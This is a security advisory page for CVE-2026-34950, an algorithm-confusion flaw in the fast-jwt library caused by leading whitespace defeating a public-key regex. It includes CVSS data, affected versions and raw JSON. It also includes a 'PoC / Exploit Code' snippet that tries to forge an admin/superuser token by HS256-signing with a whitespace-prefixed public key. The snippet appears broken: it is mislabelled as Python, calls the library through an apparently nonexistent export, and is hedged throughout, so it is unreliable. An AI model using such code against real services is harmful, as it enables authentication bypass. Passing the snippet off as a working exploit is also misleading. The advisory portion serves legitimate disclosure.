Security Vulnerability Report
中文
CVE-2026-34950 CVSS 9.1 CRITICAL

CVE-2026-34950

Published: 2026-04-06 16:16:38
Last Modified: 2026-04-22 20:17:47

Description

fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that CVE-2023-48223 patched.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:* - VULNERABLE
fast-jwt <= 6.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const { fastjwt } = require('fast-jwt'); // Exploit Concept: Adding leading whitespace to the public key // This causes the regex check to fail, potentially leading to algorithm confusion. // The library might incorrectly validate the signature or allow algorithm bypass. const maliciousPublicKey = " \n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...\n-----END PUBLIC KEY-----"; const payload = { user: 'admin', role: 'superuser' }; // Attacker attempts to sign or verify using a manipulated key // Depending on the library logic flow, this might bypass the asymmetric check. try { const sign = fastjwt.sign(payload, { algorithm: 'HS256', key: maliciousPublicKey }); const token = sign(); console.log("Potentially forged token:", token); } catch (e) { console.log("Explication attempt failed:", e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34950", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:38.017", "lastModified": "2026-04-22T20:17:47.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that CVE-2023-48223 patched."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "6.2.0", "matchCriteriaId": "FD2BA255-333A-4CF2-9B8E-C685DF7A11A9"}]}]}], "references": [{"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}